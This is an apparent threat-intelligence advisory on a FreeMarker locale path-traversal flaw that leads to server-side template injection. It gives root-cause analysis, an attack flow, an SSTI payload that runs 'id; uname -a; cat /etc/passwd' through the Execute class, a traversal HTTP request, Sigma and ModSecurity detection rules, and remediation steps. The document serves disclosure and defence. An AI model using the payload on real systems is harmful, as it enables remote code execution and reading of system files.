Skip to content

CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarker

HERMES

HERMES THREAT SCORE & TEMPLATE ESCAPE RISK

Target: Apache FreeMarker Template Engine — Localized Lookup & TemplateLoaders
Confidence: 96%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 19 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-84939 at 9.1 (CRITICAL). Hermes evaluates overall operational risk at 92. FreeMarker is embedded across thousands of enterprise Java frameworks (Spring Boot, Apache Struts, Liferay, Alfresco, OFBiz, and custom microservices). By default, localized template lookup is enabled. When applications parse user-supplied HTTP headers (e.g. Accept-Language) or query parameters into Locale instances without strict alphanumeric validation, directory traversal tokens (../) are injected into the resolved template path. In configurations where attackers can upload files or access sibling directories, this path traversal converts directly into Server-Side Template Injection (SSTI) and arbitrary remote code execution via FreeMarker's native execution classes.

HASS

HASS AGENTIC SEVERITY & SCAFFOLDING INJECTION

Target: Developer Toolchains, AI Code Scaffolding Engines & Prompt Templating Systems
Confidence: 90%
75 / 100
HIGH

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 13 / 20
Tool Access 15 / 20
Privilege 13 / 15
Persistence 11 / 15
External Impact 12 / 15
Propagation 11 / 15
⚖️ Divergence & Operational Rationale

In AI developer tooling and automated agent code generation environments, FreeMarker is frequently utilized to render dynamic source code scaffolds, prompt templates, and pipeline configurations. Template traversal vulnerabilities enable prompt injection or malicious code injection into the generated output artifacts.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-84939: Path Traversal to Remote Template Injection and Code Execution via Malformed Locale in Apache FreeMarkerVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTGitLab CE / EE
98% VERY_HIGH

Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

FreeMarker’s architecture delegates template discovery to concrete implementations of the TemplateLoader interface.

ParameterTechnical SpecificationOperational Significance
CVE IdentifierCVE-2026-84939Official Apache FreeMarker Advisory
Vulnerability ClassPath Traversal / Template Injection (CWE-22, CWE-1336)Directory escape via locale token concatenation
Vulnerable Componentfreemarker.cache.TemplateCache, ClassTemplateLoader, WebappTemplateLoaderCore template resolution subsystem
Trigger MechanismMalformed Locale object containing .. sequencesLocalized lookup builds paths backing out of root
Default Configurationlocalized_lookup = trueVulnerable out of the box in default setups
Privileges RequiredNone (PR:N)Attacker controls HTTP request headers or parameters
User InteractionNone (UI:N)Direct server-side request processing
Affected Versionsorg.freemarker:freemarker 2.2.0 - 2.3.34
org.freemarker:freemarker-gae 2.2.0 - 2.3.34
Enterprise Java web applications, portals, and REST backends
Remediated Version2.3.35Introduces _TemplatePathUtils.isInsideBaseDir validation

2. Vulnerability Anatomy & Root Cause Analysis

Section titled “2. Vulnerability Anatomy & Root Cause Analysis”

When an application requests a template:

Template t = cfg.getTemplate("invoice.ftl", userLocale);

If localized_lookup is enabled (the default), FreeMarker constructs a succession of candidate filenames matching the client’s locale hierarchy. For example, for a locale fr_CA_montreal:

  1. invoice_fr_CA_montreal.ftl
  2. invoice_fr_CA.ftl
  3. invoice_fr.ftl
  4. invoice.ftl

FreeMarker constructs these candidate names by concatenating the base template name with underscores and the string representations of the locale’s getLanguage(), getCountry(), and getVariant().

Web frameworks (such as Spring MVC or custom controllers) frequently construct Locale objects directly from user-supplied input:

// Common pattern converting request parameters to Locale
String langParam = request.getParameter("lang"); // Attacker sends: "../../uploads/evil"
Locale userLocale = Locale.forLanguageTag(langParam); // or new Locale("en", "..", "evil")
Template template = freemarkerConfig.getTemplate("public/index.ftl", userLocale);

During localized lookup, FreeMarker synthesized candidate paths such as: public/index_en_.._evil.ftl → resolving to index_evil.ftl in the parent directory!

While FileTemplateLoader enforced canonical path boundaries against its baseDir, other critical loaders did not:

  • ClassTemplateLoader loads resources via ClassLoader.getResource(), allowing path traversal across the classpath.
  • WebappTemplateLoader retrieves streams via ServletContext.getResource(), permitting traversal across web application directories (including /WEB-INF/, /upload/, and temporary directories).

Because no check verified that the path did not back out of the root directory (/), the loader served templates located completely outside the intended template sandbox.


3. Threat Vectors, Exploitation Mechanics & Attack Flow

Section titled “3. Threat Vectors, Exploitation Mechanics & Attack Flow”
flowchart TD
A["Adversary / HTTP Client"] -->|"1. Injects malformed locale (Accept-Language: .._.._uploads_evil)"| B["Enterprise Web Application (Spring / Struts)"]
B -->|"2. Constructs unvalidated Java Locale"| C["FreeMarker Configuration.getTemplate('view.ftl', locale)"]
C -->|"3. Localized lookup builds traversal path"| D["WebappTemplateLoader / ClassTemplateLoader"]
D -->|"4. Path escapes /templates/ baseDir into /uploads/"| E["Loads attacker-uploaded evil.ftl"]
E -->|"5. Template executes FreeMarker built-in: ?new()"| F["freemarker.template.utility.Execute"]
F -->|"6. Arbitrary OS Command Execution"| G["Full Host / Container Compromise"]

Step 1: Upload a Benign-Looking Template File

Section titled “Step 1: Upload a Benign-Looking Template File”

In many enterprise applications, users can upload avatars, attachments, or CSV imports. An attacker uploads a file named payload.ftl (or disguises it as avatar.png containing template syntax):

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id; uname -a; cat /etc/passwd") }

The attacker sends an HTTP request manipulating the language parameter:

GET /portal/home?lang=.._.._uploads_avatar.png HTTP/1.1
Host: vulnerable-target.com
Accept-Language: ../../uploads/payload

When FreeMarker processes cfg.getTemplate("home.ftl", locale):

  1. Localized lookup attempts to open home_.._.._uploads_payload.ftl.
  2. The loader normalizes the traversal sequences, escaping the template folder and resolving to /var/app/uploads/payload.ftl.
  3. FreeMarker compiles and executes the template.
  4. The Execute utility class executes id; uname -a and renders the output directly into the HTTP response.

4. Doctrinal Impact on Enterprise Java Stacks & Developer Tooling

Section titled “4. Doctrinal Impact on Enterprise Java Stacks & Developer Tooling”

1. Ubiquitous Presence in Enterprise Architecture

Section titled “1. Ubiquitous Presence in Enterprise Architecture”

FreeMarker is deeply embedded in legacy and modern Java stacks. A path traversal vulnerability in the core template lookup mechanism invalidates architectural boundaries across multi-tenant CMS portals, report generators, and email dispatchers.

2. Escalation from Traversal to Remote Code Execution

Section titled “2. Escalation from Traversal to Remote Code Execution”

Unlike read-only path traversals, in template engines a successful traversal to an attacker-controlled file immediately converts into Server-Side Template Injection (SSTI). FreeMarker’s extensive built-in expression language provides direct avenues to instantiate arbitrary Java classes.

3. Impact on Automated Code Generation & AI Scaffolding

Section titled “3. Impact on Automated Code Generation & AI Scaffolding”

Modern AI developer tools and agentic code scaffolds generate microservices from FreeMarker templates. An attacker capable of traversing into custom templates can inject malicious logic, backdoors, or telemetry harvesters into downstream generated code.


5. Threat Hunting, Detection & Forensic Investigation

Section titled “5. Threat Hunting, Detection & Forensic Investigation”

Sigma Rule: Apache FreeMarker Malformed Locale Traversal in Web Logs

Section titled “Sigma Rule: Apache FreeMarker Malformed Locale Traversal in Web Logs”
title: Apache FreeMarker Malformed Locale Path Traversal Attempt (CVE-2026-84939)
id: cve-2026-84939-freemarker-traversal
status: experimental
description: Detects directory traversal tokens (../, ..\, %2e%2e) embedded within Accept-Language headers or locale URL query parameters targeting FreeMarker web applications.
author: Hermes Codex Threat Intelligence
date: 2026-09-14
references:
- https://lists.apache.org/thread/hrd7o2ylwkkswdyhyzllgqt0f80kyd5y
- https://nvd.nist.gov/vuln/detail/CVE-2026-84939
tags:
- attack.initial_access
- attack.t1190
- attack.defense_evasion
logsource:
category: webserver
detection:
selection_traversal:
cs-method:
- GET
- POST
c-uri-query|contains:
- "../"
- "..\\"
- "%2e%2e"
- ".._"
- "_.."
selection_headers:
cs(Accept-Language)|contains:
- "../"
- "..\\"
- "%2e%2e"
- ".."
condition: selection_traversal or selection_headers
falsepositives:
- Rare legitimate multi-part locale tags with non-standard vendor subtag formats.
level: high
# Block directory traversal in Accept-Language or locale parameters
SecRule REQUEST_HEADERS:Accept-Language "@rx (\.\./|\.\.\\|%2e%2e)" \
"id:100084939,phase:1,deny,status:403,log,msg:'Potential FreeMarker Locale Path Traversal (CVE-2026-84939)'"
SecRule ARGS:locale|ARGS:lang "@rx (\.\./|\.\.\\|%2e%2e|\.\._|_\.\.)" \
"id:100084940,phase:2,deny,status:403,log,msg:'FreeMarker Traversal in Locale Parameter (CVE-2026-84939)'"

Tactical PhaseTechnique IDTechnique NameExploitation Context
Initial AccessT1190Exploit Public-Facing ApplicationInjecting traversal sequences via HTTP headers/parameters
ExecutionT1059Command and Scripting InterpreterSSTI via freemarker.template.utility.Execute
Defense EvasionT1036MasqueradingDisguising FTL templates inside avatar/image uploads
Privilege EscalationT1068Exploitation for Privilege EscalationEscaping application context to execute OS commands
CollectionT1005Data from Local SystemTraversing to read internal configuration and database secrets

7. Comprehensive Remediation & Hardening Guide

Section titled “7. Comprehensive Remediation & Hardening Guide”

1. Upgrade to Apache FreeMarker 2.3.35 Immediately

Section titled “1. Upgrade to Apache FreeMarker 2.3.35 Immediately”

Deploy version 2.3.35 across all application dependencies. FreeMarker 2.3.35 introduces _TemplatePathUtils.isInsideBaseDir(name) inside ClassTemplateLoader and WebappTemplateLoader, strictly verifying that template paths do not navigate out of the root directory and throwing MalformedTemplateNameException upon traversal attempts:

<!-- Maven Dependency Upgrade -->
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.35</version>
</dependency>

2. Immediate Workaround: Disable Localized Lookup

Section titled “2. Immediate Workaround: Disable Localized Lookup”

If upgrading immediately is not feasible, disable localized_lookup in your FreeMarker configuration. When localized lookup is disabled, FreeMarker loads only the exact template filename specified without appending locale subtags:

// Workaround: disable localized lookup globally
freemarkerConfig.setLocalizedLookup(false);

Or in application.properties (Spring Boot):

spring.freemarker.settings.localized_lookup=false

3. Restrict TemplateClassResolver Execution

Section titled “3. Restrict TemplateClassResolver Execution”

Harden FreeMarker’s class resolver to prohibit execution of dangerous utility classes such as Execute and ObjectConstructor:

// Enforce Safe/TemplateClassResolver restrictions
freemarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

Section titled “8. Related Threat Intelligence & References”